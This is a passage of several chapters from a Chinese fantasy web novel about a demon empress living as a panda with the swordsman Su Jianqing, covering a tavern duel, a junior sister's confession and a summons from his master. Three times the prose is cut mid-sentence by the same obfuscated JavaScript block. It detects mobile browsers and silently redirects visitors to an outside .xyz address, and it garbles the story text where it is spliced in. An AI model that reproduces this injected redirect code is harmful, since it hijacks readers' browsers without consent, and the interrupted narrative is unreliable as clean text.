蕴禾懒洋洋盯着他看,悄无声息收起攻势。 余光一扫,才发现屋内只剩下了方若望和胥绿真,齐岱与成佩兰不知去向。 擦去食铁兽身上油渍,苏见清收手,从芥子囊内取出一物交给方若望,“这是我偶然所得的一本剑谱,或许对方师兄有用。” 方若望不解,“苏师弟这是何意?” “若非方师兄的法子,那只焱金蚁不可能卖得高价,欠师兄的情自然该还。” 方若望拧眉,“那不过是我随口一言,事都是齐师兄办的,当不得苏师弟如此重礼。” 苏见清摇头,“总归是师兄的法子让我占了便宜,这剑谱与我灵根属性相冲,对我而言不过一本闲书,还请方师兄收下。” 方若望不动,苏见清便不收手,二人一时僵持住。 胥绿真拉了拉方若望的衣袖,对他轻轻摇头。 后者无奈一叹,收了剑谱,“苏师弟,这份情我记下了。” 苏见清语气坚定,“这不是情,是我该给方师兄的,师兄不必介怀。” 这仿佛要和他撇清关系的语气让方若望微怔,压了压眉,正要说什么,门外忽地响起齐岱的声音,“账结好了,可以走了。” 苏见清抱起瘫在桌上的毛绒团子,对方若望和胥绿真礼貌颔首,“方师兄,胥师姐,我们走吧。” “好。” 胥绿真拉住方若望的手腕,带着他出房门。 齐岱和成佩兰站在楼梯处,两人挨得极近,姿势亲密。不知齐岱说了什么,成佩兰嫣然一笑,笑容甜美又羞恼。 见了几人,成佩兰收了笑,抬手给了齐岱一巴掌,“师兄师姐,咱们走吧。” 她上前挽住胥绿真手腕,“天色尚早,绿真师姐,我们去城里逛逛吧,许久未来,也不知新出了什么样式的首饰。” 胥绿真也想去看看,闻言笑道:“好啊。” 成佩兰笑眼弯弯,越过齐岱走在最前头。 苏见清抱着蕴禾落在最后,即将走下楼梯时,忽地感觉到一道不善的目光射来。 酒楼大门进来一群剑修,身上衣袍与苏见清等人一般无二,为首那人头戴金冠,冠上宝石辉光闪烁,手持一把宝剑,剑鞘与剑柄皆镶嵌着各色宝石,一眼望去只觉火彩耀眼,富丽堂皇。 “哟,这不是咱们伏渊第一人,苏见清苏师兄吗?” 嘴角斜斜一勾,年轻剑修眉尾上挑,视线从上而下将苏见清扫了个遍,态度极为轻慢,“苏师兄的灵石不都赔给死去的师兄弟了,竟还有余力来此处消遣?” 前头的方若望四人早已停步,苏见清却面无表情地继续往外走。 “我让你走了?” 即将跨出酒楼前,华贵剑柄抵住苏见清的脖颈,阻拦了他的行动。 “伍师弟。” 方若望拧眉,沉声道:“苏师弟是你师兄,你逾距了。” “方师兄放心,我只是想和苏师兄说两句话而已。” 伍宏志轻慢一答,斜斜乜向苏见清,眼里燃着怒火,“昨日潇潇师妹哭着离开青竹峰是你害的?你对她做了什么?” 苏见清不应,拨开剑柄,继续往外。 “苏见清!” 见他待自己如此怠慢,伍宏志大怒,“别人怕你我可不怕。说,你对潇潇说了什么?!” 这人口气这么大,什么来头? 蕴禾从苏见清怀里探出头,目光盯着成佩兰。 成佩兰眸底一道绿光一闪而过,她恍惚一瞬,眼中神光散去,心里涌出一道声音。 【这人是谁?】 她无意识在心中答复,【伍家,伍宏志。伍家是玄清域有名的世家,多出丹修,与伏渊来往密切。伍宏志乃伍家家主之子,幼时不喜炼丹,反而闹着要习剑,多年前被伍家家主送往伏渊,拜入谷光长老门下。】 哦,一个小世家子弟,修为不过刚入金丹,这是被人捧得不知天高地厚,以为自己是玄清域太子了?如此狂妄,毫无自知之明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716888|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 蕴禾趴在苏见清肩头,看向伍宏志的目光像是在看傻子。 苏见清半晌不答,伍宏志已失去耐心,拔剑对准他,“你到底对潇潇说了什么?” 年轻剑修脊背挺拔,身形颀长如玉。 他并未回头,声音冷淡,“我不过是让褚师妹少来青竹峰。” 伍宏志更怒,“她好心去看你,你竟毫不留情赶她走?苏见清,你果真冷心冷情,毫无良心!” 下一瞬,他陡然往前刺去。 苏见清眸色微冷,灵光一闪,长虹已出现在手中。 他一手抱着蕴禾,一手持剑,回身挡住伍宏志的攻击。 大堂内灵气逸散,剑气四溢,修为低下者纷纷从后门逃离,管事与跑堂躲在房柱后,心疼地看着被打碎的桌椅。 “哎哟喂,这可都是灵石啊!” 成佩兰抓住齐岱的手,目光追随着打斗中的二人,“怎么就打起来了。” 方才一瞬的心神恍惚已被她遗忘。 齐岱:“没事,苏师弟又不会输。” 成佩兰白他一眼。 胥绿真两道柳眉微蹙,输定是不会输的,就怕伍师弟不慎受了伤,若是掌门长老怪罪可就麻烦了。 方若望亦是同样的想法,心神皆放在苏见清身上,只等寻个时机拦下。 好在苏见清还有分寸,剑尖在离伍宏志一寸远时收手。 伍宏志不服,还要再战,一道恐怖灵压忽然从苏见清身上升起,避开旁人,直压压朝伍宏志撵去。 灵压所过之处,桌椅眨眼化为齑粉。伍宏志膝盖一重,单膝跪地,全身肌肉绷紧,手背脖颈上青筋暴露。 “伍师兄!” 伍宏志带来的人惊声,不约而同对苏见清出手。 苏见清淡淡抬睫,挥出一剑。 剑气横扫,几人齐齐倒飞出去,体内灵气翻涌,半天无法起身。 额头汗如雨下,伍宏志已是极限,眸底怒火旺盛,眼球微凸瞪着苏见清,语气里满是不服气,“有本事你就杀了我!” 苏见清收剑,顺手将往下滑的食铁兽捞回来,冷淡道:“我杀你,易如反掌。” “伍师弟,我没功夫,也不愿掺和你与褚师妹的事,若你能劝她往后少往我面前凑,我感激不尽。” 苏见清收回灵压,语调平平,“她的事与我无关,还请伍师弟莫再无理取闹。” 身上压力骤减,另一条腿重重往下砸,伍宏志双膝跪地大口喘气,后背被汗水打湿,竟有劫后余生之感。 苏见清从芥子囊中取出灵石放在大堂内仅存的柜台上,对躲在一旁的管事道:“抱歉,这是我的赔偿。” 管事张了张嘴,发出的第一个音有些变调,他清清嗓子,“多、多谢仙君。” 苏见清颔首,转身离开。 “苏见清!” 伍宏志恨恨瞪着他,“你竟敢说潇潇之事与你无关?” 目光扫过方若望几人,他讽刺大笑,“方师兄,齐师兄,我奉劝你们一句,少与苏见清往来,他这人冷心冷肺,恶毒凶残,只因潇潇入门,为了保住他玄陵仙尊唯一弟子的身份,竟敢对无辜的潇潇下手,险些将她害死!他是头恶狼,与他走得近,你们早晚有一日要被他吃得连骨头都不剩!” 14. 第 14 章 “什、什么?” 成佩兰震惊,“苏师兄对褚师姐……” 齐岱大怒,“你胡说八道什么呢?” “你若不信,大可去问!”伍宏志红眼恨声,“当年诸多长老皆知此事!” 齐岱还要辩解,方若望一把将他拉住,轻轻摇头。 胥绿真则是注视着苏见清的背影。 他一言不发,连头都没回,淡声道:“二位师兄、胥师姐、成师妹,我先行一步。” 伍宏志破口大骂,“潇潇不敢说的话,我来说!苏见清,你心狠手辣,丧心病狂,终有一日必遭天谴!” 苏见清充耳不闻,抱着蕴禾御剑飞回伏渊。 身后咒骂声越来越小,蕴禾坐在苏见清小臂上,抬脸打量着他。 风将他的衣袍吹得猎猎作响,白色发带同墨发在身后狂舞,露出隽秀五官,眉眼如松间明月,极清极雅,鼻如山峦,薄唇似樱,清隽出尘。 他立在剑上,一派遗世独立的谪仙相,怎么看也不像心思恶毒之人。 那姓伍的傻子的话,蕴禾只信了一分。 姓褚的女修待他那般殷勤,第一次见时蕴禾还以为她是看上了苏见清,若她曾遭苏见清虐待,那她是有毛病吗?对自己的仇人如此殷切。 或许褚潇潇幼时的确遇过难,但真相如何,只有他们师兄妹才清楚。 青竹峰到了,苏见清将蕴禾抱下。 落地的一瞬间,食铁兽立即恢复了正常大小。 苏见清面色如常,仿佛方才的事并未在他心上留下痕迹,他拉过蕴禾的爪子,声线清冷,语调却是温柔的,“手脏了,得洗洗。” 苏见清自言自语,“成师妹说,养灵兽不仅需要照顾它的衣食住行,还得让云团维持好心情,争取让它每日都能玩得开心。” 他四处看了眼,目光落在蕴禾的竹屋旁,放开她走过去,沉吟片晌,双手结印,身后骤然出现几十把长虹虚影,齐齐朝地面轰去! 一声巨响,灵力震荡,灰尘迷了蕴禾的眼。 她用爪子揉了两下,够着脑袋看去。 地面蓦地出现一个大坑,足有半人高,宽大到能容下三四个人。 苏见清站在坑前思索,须臾对蕴禾道:“我出去一会儿,你乖乖在家里待着。” 蕴禾随意晃了晃脚,瘫在草坪上打盹。 睡梦中察觉到苏见清一直在青竹峰上忙碌,蕴禾没理会,全身心沉入梦乡。 她醒来时,整个青竹峰已经大变样。 竹屋旁多了个小型温泉池,两片白纱飘在缥缈雾气中,池子周边栽种了一圈灵花,各种颜色的灵韵四溢,五彩缤纷,眼花缭乱,似镜花水月,清灵梦幻。 温泉池往右是一座由绿藤制成的秋千,秋千很大,完全够蕴禾躺上去。除此之外,还有许多供她玩乐的东西,再不复她来时的清冷单调。 苏见清抱着一块木板路过,见蕴禾醒了,嘴角含笑,“要试试滑草吗?” 看在他费了这么多心思的份上,蕴禾屈尊降贵点头。 苏见清带着蕴禾去了后山一处山坡。 山坡又高又陡,风吹过时留下一片轻轻摇曳的茵茵绿草。 苏见清放下木板,让蕴禾坐上去,“准备好了?我放手了。” 蕴禾点了点熊脑袋,背后一股重力袭来,她坐着木板顺着山坡往下滑去。 两侧草木疾速倒退,风迎面而来,猛烈吹起蕴禾身上毛发,她舒服地眯着眼睛,心中畅快。 木板滑动的速度越来越快,蕴禾听见苏见清在喊。 “云团,快停下!” 余光里,他御剑追来。 蕴禾偏过头,下一瞬,她倏地飞了出去,突如其来的腾空感令蕴禾发出一声惊天狗叫,整只熊“啪叽”一声摔进草丛里,霎时间草屑翻飞,几只蟋蟀匆匆逃离。 “云团!” 苏见清落地,跨步近前,将蕴禾捞起,急声问:“怎么样,有没有事?摔疼了吗?” “呸!” 蕴禾重重一呸吐掉嘴里草屑,面无表情地盯着苏见清。 “都怪我,是我没有掌握好力道。是不是很疼?” 苏见清轻轻摘去蕴禾身上脸上的草叶。 “嗷!” 蕴禾大叫一声,猛地朝苏见清扑去,将他整个人摁在草地上,两只爪子捂住剑修的脖子,锋利指尖似乎顷刻间就能刺穿他脆弱的皮肤。 混蛋,该死的人修! 自从她打败妖族各妖王,夺得妖皇之位后,已经很久没有这么丢脸过了。 这个、这个该死的苏见清,竟敢如此对她! 不把他大卸八块,难消她心头之…… “错了错了,我真的知道错了,晚上给你做好吃的好不好?” 苏见清嘴角轻勾,白皙指尖摘去蕴禾头上的叶子,顺手揉了揉毛茸茸的耳朵,嗓音轻柔,“上次见你喜欢糕点,这次我另外做几样,再蒸几笼包子如何?” 糕点,包子? 蕴禾被夺去注意,下意识回忆上次吃的糕点的滋味,咽了咽涎液。 今日虽说吃得也算开心,但她总是对苏见清的手艺没有半分抵抗之力。 看在他厨艺还不错的份上,这次就勉为其难算了。 蕴禾剜着苏见清,不情不愿松手。 苏见清起身,弯腰拍拍食铁兽脑袋,含笑道:“云团别生气了,我们回家。” 蕴禾不予理会,迈着优雅从容的步子往竹屋走。 倘若她背后没有那么多草屑灰尘,与一只站在她背上耀武扬威的蟋蟀,姿态的确算得上是高贵优美。 苏见清以拳抵唇,掩去嘴角笑意,大步追上,不动声色将那只蟋蟀扔进草丛。 回去后,蕴禾很嫌弃一身草屑,目标明确地走向温泉池。 苏见清自然而然跟在她身后,“可要我帮忙?” 直到这个时候他才意识到一个问题,“云团,你是男孩还是女孩?” 蕴禾倏地跳进温泉池,溅起的水将苏见清淋了个落汤鸡。 她仍不满足,两只爪子齐发力,一股脑把水全泼在苏见清脸上,喉咙发出警告的闷响,明显是在驱逐他。 水流顺着优越下颌线滴落,灵花兴奋抖动,花朵颜色越发鲜艳。 苏见清无奈抹去脸上的水。 不想让他伺候沐浴,应该是个女孩了。 温泉里的食铁兽已经转过身背对他,身子沉入水中,露出一颗圆滚滚的脑袋。 苏见清举起双手后退,“我先去做饭,云团,别泡太久了。” 食铁兽不耐一拍,水柱直冲而起,水珠再度溅在苏见清额角。 他嘴角泛起苦笑,径直去了厨房。 热气在苏见清身上蒸腾,不过两步,他全身已然干爽。 察觉到苏见清走远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722438|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,蕴禾轻哼一声,懒得再搭理他,全身放松泡在温泉水里,舒适闭眼,身体不时随着水流动一动。 暖流包裹住全身,蕴禾喉间一阵舒畅响动。 泡了小半个时辰,她慢悠悠爬出温泉池,甩去水珠,踩着草坪去了隔壁秋千。 秋千体贴地做了靠背,蕴禾爬上去平躺着,悠哉悠哉望着头顶流动的白云。 竹屋后的厨房上空炊烟袅袅上升,似要与苍穹融为一体。但很快,万丈霞光强势地铺满整片天空,橘红色的光笼罩在青竹峰上,为满目苍翠蒙上一层淡纱。 风中香味弥漫,蕴禾爬下秋千,踩着晚霞去了厨房。 苏见清坐在灶台后,盯着灶膛内的火光,对蕴禾道:“再等一会儿。” 来都来了,蕴禾懒得再走回去,索性坐在厨房外的草坪上,一眼不眨地凝视着冒气的蒸笼。 柴火噼里啪啦燃烧着,苏见清不知从何处摸出一碟果子送到蕴禾面前。 “先吃这个垫垫。” 那果子是黄色的,只比拇指大一些,蕴禾拿了一个扔进嘴里,“咔嚓”一咬,香甜果汁溢满口腔。 她耳朵动了动,端着盘子一口一个。 苏见清凤眼弯弯摸了下蕴禾的脑袋,在她身旁坐下,时刻注意着灶膛里的火。 等蕴禾吃完果子,糕点也蒸得差不多了。 苏见清将糕点和包子盛放在碟子里,端到小矮桌前。 糕点个个都被他做成花的形状,有粉色的桃花糕和荷花酥,紫红的海棠糕、梅花饼,还有几盘子包子。 包子圆润饱满,油润暄软,轻轻一碰立即凹陷下去。 蕴禾趁热吃了个包子,包子的绵软与酱肉的香润一同在舌尖上跳跃,她眼睛一亮,抬手又抓了一个。 苏见清盛了碗蔬菜粥,“可要吃这个?” 蕴禾不太感兴趣地摇头。 苏见清也没勉强,一口包子一口粥,姿态如行云流水优雅从容。 他今晚做的量大,待他放下筷子,蕴禾也摆了摆手,停止进食。 指了指桌上剩余的糕点包子,又指了下橱柜,蕴禾看向苏见清。 年轻剑修嘴角抿出笑意,“知道了,给你留着明天吃。” 见他懂了,蕴禾下巴微抬,伸出两只爪子。 苏见清意会,掏出帕子给她擦拭。 擦去手上油渍,蕴禾坐在原地看苏见清收拾厨房。等他收拾完,一人一兽一同绕去竹屋。 天空呈现出黛青色,零星几颗暗淡星子藏在云层后,苏见清不知从何处变出一个藤球呈到蕴禾眼前,“玩吗?” 蕴禾翻白眼,暗道幼稚,转身背对着苏见清走远,随后朝他招手。 苏见清勾唇,将藤球往她的方向扔去。 天尚未全黑,竹廊下、温泉边的纱灯依次亮起,年轻剑修站在灯下,周身笼罩一层淡黄光晕,笑意从眸底深处攀爬而上,化为星点光华,流转在清隽眉眼。 藤球直直往蕴禾所在的方向而来,逐渐将她眼中年轻剑修的身影遮挡,她不耐一挥手,藤球“啪”一下调转方向,又朝苏见清飞去。 苏见清将之接住,再度扔向蕴禾,“云团接住。” 蕴禾懒懒伸腰,席地而坐,随手拍了下藤球。 这一下许是失了力度,原本该去对面的藤球朝蕴禾身后飞去,重重砸下。 一道女声骤然痛呼,“啊,疼!” 15. 第 15 章 蕴禾与苏见清同时循着声源地望去。 成佩兰脚边掉落一只藤球,哭丧着脸摸着额头,齐岱揉她脑袋,看样子似是在安慰。 二人身后站着方若望和胥绿真,对苏见清微笑颔首。 苏师兄眉心微拧,似是不解,未等他问出声,成佩兰已放下手,足尖勾起那只藤球,一把抱在怀里,“苏师兄不是要学如何做毛绒玩偶吗?我是特意来教师兄的。” 苏见清:“你们……” 话未尽,胥绿真含笑出声,“不请自来,苏师弟可会怪罪?” 苏见清摇头,迟疑道:“你们不怕……” “苏师弟,我们有眼睛,能看出你是个什么样的人。”齐岱一向直来直往,此刻也掩藏不了心思,直接道:“那伍宏志说的话,我们一句也没听进去。” 方若望:“以往我虽与苏师弟少有往来,但祁锡山一行,苏师弟如何我亲眼所见。师弟救命之恩,我与齐师兄也一直铭记于心。原本离开半月楼就该来的,半路却听说苏师弟下了山,便一直耽搁到现在,还望师弟见谅。” “好啦好啦,说那些不开心的事做什么?” 成佩兰打断两人的话,笑盈盈注视苏见清,“我来这趟纯粹就是为了教苏师兄如何做毛绒玩偶的,你们要寒暄也选个别的时间,别打扰我们。” “苏师兄!” 成佩兰抱着藤球歪头笑道:“我们在哪儿学啊?” 苏见清缄口。片晌后,他抬手挥袖,几颗灵珠从袖口飞出飘浮在半空,柔和光辉照得竹屋前的空地亮如白昼。 这还是他今日替云团修缮青竹峰时买的,没想到在这时派上了用场。 苏见清:“寒舍简陋,师妹若是不介意,便在此处吧。” “好啊。” 成佩兰点头,目光环视一周。 温泉边的灵花即便是在夜中依旧灵光闪烁,这座以往只有青竹的山峰此刻焕然一新,漂亮又温馨。 成佩兰小小“哇”一声,先走到蕴禾面前,将藤球放到她面前,弯腰柔声与她打招呼,“晚上好啊云团。” 她试探性伸出手,在蕴禾头上轻柔快速地一碰。 蕴禾看她一眼,没作出反应。 成佩兰弯起眼,飞快地又摸了一下,心满意足地走向苏见清,“苏师兄,我们现在就开始吧。” 蕴禾看着苏见清和成佩兰坐在一处,一个手里拿着毛线认真教,另一个低头认真学。 也不知道苏见清学这东西作甚。 蕴禾往后一仰倒进柔软草地。 齐岱和方若望对毛绒玩偶没兴趣,二人立在秋千前讨论剑谱。胥绿真朝蕴禾走来,从芥子囊内取出一盘果子,“云团要尝尝吗?” 晚膳蕴禾吃得多,此刻还有些撑,但姑娘家的心意不忍拒绝,象征性拿了个果子。 这果子汁水多,还挺甜的,蕴禾咔嚓一咬,嚼吧嚼吧几下咽了便不动弹了。 胥绿真失望,“云团不想吃了?” 蕴禾摇头,指了指自己圆鼓鼓的肚子,随后用手臂上的绒毛在胥绿真侧脸蹭了两下。 胥绿真微怔,漂亮杏眼里笑意如星光满溢,“云团这是在感谢我?” 蕴禾板着脸没说话。 笑话,堂堂妖皇需要感谢一个小小人修?不过是看她眼巴巴盯着她看有些可怜,随手给她一个赏赐罢了。 谁叫这些人修这么轻易就沉醉在她的威武雄壮里呢? 食铁兽抬着下巴,表情高傲中带着呆萌,萌得胥绿真满脸是笑。 她坐在蕴禾旁边,轻声细语地和她说话,嗓音似夜间晚风拂过,带走燥意,徒留清爽。 蕴禾听着听着来了困意,正想回竹屋睡,那头的苏见清蓦地出声,“成师妹,我会了。” “这么快?” 成佩兰惊讶。 苏见清颔首,从芥子囊内取出灵石,“这是承诺给师妹的报酬。” 成佩兰低头一瞧,犹疑道:“师兄,这也太多了。” 苏见清:“还未多谢师妹的指定,今日云团很高兴。” 蕴禾冷笑着斜着苏见清,她今日很高兴?她自己怎么不知道? 成佩兰忆起半月楼内对苏见清说的那番如何喂养食铁兽的话,很是惭愧,“我不过胡说几句,怎么值得师兄破费?” 苏见清坚持,“师妹应得的。” 成佩兰只好去看齐岱,却没料他点了下头,只好收下,“那就多谢师兄了。” 胥绿真起身,“云团困了,我们不打扰了,苏师弟再会。” 苏见清颔首,“再会。” 四人结伴离开青竹峰,蕴禾踩着影子从苏见清身边路过,顺便给了他一脚。 苏见清回头时只捕捉到食铁兽圆润的身影,低头看一眼,无奈一笑。 …… 翌日,苏见清修炼完睁眼时已近正午。念着蕴禾该饿了,他起身去厨房。 不远处,蕴禾躺在秋千上晒太阳,一腿支出,随着秋千微晃。 察觉到苏见清的动静,她只懒懒掀睫瞧了眼。 这人勤于修炼,加之刚刚突破,境界尚不太稳,这段时日大多是在午时结束,蕴禾已经习惯了每日只吃两顿。 到她这个境界,吃或不吃其实并没什么区别,只是她嘴馋,吃过人修的食物,尤其是苏见清亲手做的后,那就更放不下了。 她到伏渊也有些时日了,据她观察,苏见清此人和寻常的伏渊弟子也没什么区别,最多就是性子孤僻些,天赋好些,修炼勤快些,长得好些,除此之外并无太大差别。 那她为何偏偏就与苏见清同生共死呢? 且他的身上,着实看不出有咒术或者法术的存在。 既然如此,她和苏见清究竟是怎么一回事? 蕴禾想不通。 沉沉叹了口气,她仰头望天,脚下用力一蹬,秋千晃动的弧度陡然变大。 白云悠悠散开,蕴禾眸光一定,暗自郁闷,怎么又来了? 与此同时,苏见清也走出厨房,注视着半空,“既然来了,为何不现身?” 空中灵气波动,逐渐显出一道人影。 褚潇潇抿唇落地,垂头丧气道:“师兄,昨日的事我已经知道了。” 苏见清面无波动,“那又如何?” “我骂过伍宏志了,也警告他不许再招惹师兄,师兄别再生气了好不好?” 褚潇潇眼巴巴地看着苏见清。 苏见清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15726834|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇头,“我并未动气。” 褚潇潇上前几步,语气着急,“被人那般抹黑,师兄怎么可能不气?” “师妹。” 苏见清后退与她拉开距离,态度礼貌,夹杂着清晰可见的疏离,“伍师弟的话,我并未放在心上,也请师妹谨记我的话。” 什么话?少踏足青竹峰。 褚潇潇自是明白苏见清未尽之语,脸色瞬间煞白,眼里冒出泪花,声线微抖,“师兄,这么多年过去了,你还是不能原谅我?” 她语无伦次解释,“师兄,我那时只是太害怕了。我、我还小,不知为何脑子一热便做出了那样的事,我真的、真的只是太害怕了。师兄,你可不可以给我一次机会,让我弥补你?” 苏见清无动于衷,“我不需要弥补,师妹请回吧。” 褚潇潇眼泪啪嗒落下,眼眶泛红,“……师兄对不起,我真的知道错了,你原谅我好不好?” 蕴禾很好奇,褚潇潇当年究竟做了什么? 她眸光定定看着哭得梨花带雨的少女,【你对苏见清做了什么?】 琥珀般的眼珠快速亮起一点绿光,褚潇潇在心中哭着语无伦次,【爹爹打我,娘亲软弱,根本护不住我,我好不容易才遇见师尊,他替我教训爹爹,带我回伏渊,几乎将我捧在手心里,是这世间对我最好的人。可是这么好的师尊,为什么还有别的弟子呢?我不能把师尊让出去,也不想让师尊对别人好。】 蕴禾没兴趣听她的悲惨身世,不耐打断,【所以你究竟对苏见清做了什么?】 褚潇潇:【我、我见师兄不喜与旁的师兄弟接触,便故意挑拨离间,说师兄天纵奇才,不屑与庸才来往,令师兄们冷落他。还、还……故意在师兄练剑时撞上去,假装师兄要杀我,在师尊和长老们面前哭诉,导致师兄被师尊惩罚。】 褚潇潇哭着说:【我已经知道错了,这些年也在弥补,为什么伍宏志偏偏要把这件事闹出来,令师兄对我越发抗拒。】 蕴禾一言难尽,收回褚潇潇身上的神识。 青竹峰上无人察觉这一场对话,褚潇潇哭到哽咽,“师兄,我已经在改了,真的再改了。” 苏见清不为所动,“师妹请回。离开前记得将眼泪擦干,以免再有人寻我麻烦。” 话中嘲讽如针扎在褚潇潇脸上,令她羞愧刺痛,擦去眼泪,委屈巴巴道:“师兄,下次再也不会了。” 她不敢再看苏见清,掉头就走,身影快如流星。 蕴禾转向苏见清。 他站在竹屋前,面色毫无变化,仿佛方才那一场哭闹不过过眼云烟。 蕴禾总算知道苏见清为何养成了这么个孤僻的性子,原来是她闹的。 摊上这么个多思敏感的师妹,他也挺倒霉的。 蕴禾爬下秋千,慢步走近苏见清,伸出爪子推他。成功引起苏见清注意后,又指向厨房。 苏见清嘴角微勾,弯腰轻抚蕴禾脑袋,手指在她耳朵上捏两下,“饿了?稍等片刻,马上就好。” 目送剑修身影走进厨房,蕴禾爬上竹屋前新种下的树,懒懒靠着树干。 还是忙起来好,这人忙了就不容易多想。 要她说啊,褚潇潇就是太闲了。 16. 第 16 章 晴空万里,风朗气清。 竹枝摇曳,投下数道斑驳光点。 胖乎乎的食铁兽卧在树下,脑袋抵着人修的腿,睡得天昏地暗。 柳叶飘然而至,落在食铁兽鼻尖,她耸了耸鼻子,悠悠转醒。 醒来便见年轻修士紧紧挨着她,甚至一只手还搭在她脑袋上。 蕴禾嫌弃将苏见清推开,半坐起身,捧着熊脸仰头一叹。 一晃眼,她都来伏渊一个月了,可什么也没发现,至今对她为何与苏见清同命相连一头雾水。 照这样下去,她什么时候才能回妖域啊。 一抹青色从空中一闪而过,蕴禾耳朵微动。 “苏师兄!” 小弟子的声音将苏见清唤醒,在他睁眼的刹那,青光钻进蕴禾掌心,转瞬消失。 半空落下一道人影,小弟子道:“苏师兄,仙尊召您。” 苏见清起身,“好。” 他偏头对蕴禾叮嘱,“我去去就回。” 蕴禾随意摆手,目送苏见清跟随小弟子离开,爪子划了一道结界。 摊开掌心,一只青色小鸟飞出,在她面前化为一张冷淡而貌美的脸。 清淼:“陛下,清淼敬上。这一月里妖域一切如常,唯有几位妖王因陛下取消庆典追问几句,皆被属下搪塞过去。除此之外,便是烈阳城附近曾发现魔修的身影。” 烈阳城?姬元那只小老虎的地盘怎么会出现魔修? 等等。 蕴禾忽然有些记不清了。 现在烈阳城的妖王,是姬元还是他爹姬邑来着?姬邑被她拍死又是在什么时候? 前几次循环时间最短十年,最长的足有四十年,这次更是再往前推了十年,直接将蕴禾送到了五十年前。 她在妖域过得大差不差,日子大多重复,导致许多事蕴禾都记不清了。 倒是记得有一年东隅城举办庆典,烈阳王姬邑在庆典上与赤星王大打出手,导致赤星王被打成原形,险些丧命。 那次事故中丧生在二妖手中的妖族民众高达上百,蕴禾一怒之下拍死姬邑。烈阳无主,几头小老虎为了争夺王位打得头破血流,最终被姬元那头孱弱小虎捡了漏,此后紧抱蕴禾大腿,倒是慢慢坐稳了王位。 实在记不清那是哪一年的事,蕴禾也不为难自己,无论是姬邑还是姬元都不重要,除非谋逆大事,她一向不管这些妖王在想什么。 就算是想要造反,也得看看他们有没有那个胆子和实力。 面前女子虚影最后道:“清淼斗胆,敢问陛下何时归来?” 话落,虚影化为点点荧光散去。 蕴禾手腕翻转,掌心出现一片青色翎羽。 “不必去管几位妖王,查查魔修为何出现在烈阳城。等我事情办完自然会回妖域,接下来一段时间辛苦你继续替我盯着。” 青色翎羽化为鸟儿,翅膀振动飞向天空。 蕴禾散去结界,懒懒趴在地上,悠闲地晃了晃腿。 …… 沉霄峰。 苏见清俯身见礼,“见过师尊。” 玄陵细细打量他,“伤可好了?” “劳师尊记挂,都好了。” 眉间冰霜略退,玄陵语重心长,“你身负重任,为师对你难免严苛。要你护好同门,却也不是不顾你安危。这本剑谱乃是本尊年轻时所得,你拿回去勤加修炼。” 苏见清双手接过剑谱,“多谢师尊。” “你我师徒何须言谢。” 玄陵端起茶盏,浅浅沾唇,“听说你养了只食铁兽?” “是。”苏见清垂睫,“它在祁锡山时曾救过弟子,又因无家可归,弟子便将它带回了伏渊。” “一只食铁兽罢了,你想养便养,不过千万不可因它懈怠修炼。” 玄陵吹着茶碗上漂浮的茶叶,听见苏见清应“是”,他略一颔首,转而道:“你可知为师今日唤你前来所为何事?” 苏见清摇头,“弟子愚钝,还请师尊解惑。” “未知之事,谈何愚钝?” 玄陵点着苏见清,“你啊,惯爱在本尊面前藏拙。你是这沉霄峰未来的主人,在此峰上,你有底气说任何话。” 熟悉的动作令苏见清有些恍惚,依稀间忆起,幼年时师尊待他也是这般悉心教导。 玄陵极轻笑了下,“现下可说了?” 苏见清抿唇,“是有魔修作乱,需要弟子下山除魔?” “不错。” 玄陵抿了口茶,“近日有弟子游历时路过枫泠城,无意间发觉城内有魔修闯入。那魔修修为强大,不知底细,本尊要你前去探查,助他们铲除祸患。” 苏见清领命,“弟子遵命。” 玄陵:“去吧,莫要像上回那般受伤。” 苏见清猛地抬头,却见银发如雪的仙尊已垂首饮茶,眉眼被雾气氤氲,模糊不清。 他唇角动了动,加重语气,“是。” 行出殿门,苏见清正要返回青竹峰,身后响起少女娇怯的嗓音,“师兄,一路顺风,万望此行万事顺遂。” 苏见清回首。 褚潇潇站在他身后,对上他的视线,粉唇微嘟,委屈道:“这些日子我听话,没去青竹峰打扰师兄,结果连声招呼都不能打?” 苏见清长睫微敛,语调淡漠,“借师妹吉言。” 褚潇潇眼睛一亮,仿佛蒙尘的画卷被擦拭干净,眉眼俏丽灵动。 沉霄峰上四季长盛的樱花堆叠在她白色裙摆,姝丽得宛如一幅画。 苏见清:“告辞。” 他御剑离开。 “师兄!” “潇潇,不可打扰你师兄。” “可是……” “他有要事在身,你听话些。” 对话清晰传入耳畔,苏见清抿唇,化为流光返回青竹峰。落地时下意识去寻找食铁兽的身影。 